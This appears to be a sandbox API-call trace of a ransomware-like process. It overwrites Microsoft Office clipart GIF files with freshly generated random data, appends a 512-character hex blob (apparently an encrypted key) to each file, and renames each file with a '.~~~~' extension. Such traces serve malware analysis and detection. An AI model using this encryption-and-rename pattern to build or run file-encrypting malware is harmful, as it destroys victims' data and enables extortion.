	[0120.454] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.454] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.455] CloseHandle (hObject=0x130) returned 1
	[0120.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f78e8
	[0120.455] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01244_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01244_.gif.~~~~")) returned 1
	[0120.456] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.456] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0120.456] GetLastError () returned 0x0
	[0120.457] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x2942ca8) returned 1
	[0120.458] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.458] CryptReleaseContext (hProv=0x2942ca8, dwFlags=0x0) returned 1
	[0120.458] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.458] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0120.458] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0120.458] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24044851100) returned 1
	[0120.458] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb145be50, dwHighDateTime=0x1d60e1e)) 
	[0120.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0120.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0120.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0120.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9db8
	[0120.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.459] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9db8 | out: hHeap=0x300000) returned 1
	[0120.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.459] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f78e8
	[0120.459] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b5318
	[0120.459] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.459] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0120.459] GetLastError () returned 0x0
	[0120.460] GetLastError () returned 0x0
	[0120.460] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0120.462] GetLastError () returned 0x0
	[0120.462] GetLastError () returned 0x0
	[0120.463] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffeab, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.463] WriteFile (in: hFile=0x130, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x155, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x155, lpOverlapped=0x0) returned 1
	[0120.465] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0120.465] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.465] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.465] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.465] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.466] CloseHandle (hObject=0x130) returned 1
	[0120.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f78e8
	[0120.466] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01245_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01245_.gif.~~~~")) returned 1
	[0120.467] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.467] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0120.467] GetLastError () returned 0x0
	[0120.468] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x2942ca8) returned 1
	[0120.469] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.469] CryptReleaseContext (hProv=0x2942ca8, dwFlags=0x0) returned 1
	[0120.469] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0120.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0120.469] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24045901004) returned 1
	[0120.469] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb145be50, dwHighDateTime=0x1d60e1e)) 
	[0120.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0120.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0120.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0120.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9df0
	[0120.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.469] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9df0 | out: hHeap=0x300000) returned 1
	[0120.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.469] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f78e8
	[0120.470] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.470] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b53b0
	[0120.470] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.470] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0120.470] GetLastError () returned 0x0
	[0120.470] GetLastError () returned 0x0
	[0120.470] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0120.470] GetLastError () returned 0x0
	[0120.470] GetLastError () returned 0x0
	[0120.471] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffe32, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.472] WriteFile (in: hFile=0x130, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x1ce, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x1ce, lpOverlapped=0x0) returned 1
	[0120.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0120.473] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.473] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.473] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.473] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.473] CloseHandle (hObject=0x130) returned 1
	[0120.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f78e8
	[0120.473] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01246_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01246_.gif.~~~~")) returned 1
	[0120.474] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.474] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0120.475] GetLastError () returned 0x0
	[0120.475] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x2942ca8) returned 1
	[0120.476] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.476] CryptReleaseContext (hProv=0x2942ca8, dwFlags=0x0) returned 1
	[0120.476] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0120.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0120.476] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24046609842) returned 1
	[0120.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb1481fb0, dwHighDateTime=0x1d60e1e)) 
	[0120.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0120.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0120.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0120.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9e28
	[0120.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.476] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9e28 | out: hHeap=0x300000) returned 1
	[0120.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.476] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f78e8
	[0120.477] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b5448
	[0120.477] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.477] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0120.477] GetLastError () returned 0x0
	[0120.477] GetLastError () returned 0x0
	[0120.477] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0120.477] GetLastError () returned 0x0
	[0120.477] GetLastError () returned 0x0
	[0120.570] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffff009, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.570] WriteFile (in: hFile=0x130, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0xff7, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0xff7, lpOverlapped=0x0) returned 1
	[0120.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0120.571] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.572] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.572] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.572] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.572] CloseHandle (hObject=0x130) returned 1
	[0120.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f78e8
	[0120.628] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01253_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01253_.gif.~~~~")) returned 1
	[0120.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0120.629] GetLastError () returned 0x0
	[0120.630] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0120.631] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.631] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0120.631] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0120.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0120.631] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24062129623) returned 1
	[0120.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb15fed70, dwHighDateTime=0x1d60e1e)) 
	[0120.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0120.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0120.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0120.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ea138
	[0120.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.632] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ea138 | out: hHeap=0x300000) returned 1
	[0120.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.632] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f78e8
	[0120.632] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b54e0
	[0120.632] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.632] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0120.632] GetLastError () returned 0x0
	[0120.632] GetLastError () returned 0x0
	[0120.632] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0120.632] GetLastError () returned 0x0
	[0120.633] GetLastError () returned 0x0
	[0120.638] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffa54, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.638] WriteFile (in: hFile=0x130, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x5ac, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x25dfec0*=0x5ac, lpOverlapped=0x0) returned 1
	[0120.640] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0120.640] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.640] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.640] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.640] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.640] CloseHandle (hObject=0x130) returned 1
	[0120.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0120.640] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01745_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01745_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01745_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01745_.gif.~~~~")) returned 1
	[0120.641] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.641] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0120.641] GetLastError () returned 0x0
	[0120.643] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0120.644] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.644] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0120.644] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.644] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0120.644] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0120.644] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24063421354) returned 1
	[0120.644] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb1624ed0, dwHighDateTime=0x1d60e1e)) 
	[0120.644] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0120.644] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0120.644] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0120.644] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ea170
	[0120.644] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.645] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ea170 | out: hHeap=0x300000) returned 1
	[0120.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.645] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0120.645] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6158
	[0120.645] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.645] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0120.645] GetLastError () returned 0x0
	[0120.645] GetLastError () returned 0x0
	[0120.645] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0120.645] GetLastError () returned 0x0
	[0120.646] GetLastError () returned 0x0
	[0120.647] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffd1e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.647] WriteFile (in: hFile=0x130, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x2e2, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x25dfec0*=0x2e2, lpOverlapped=0x0) returned 1
	[0120.649] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0120.649] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
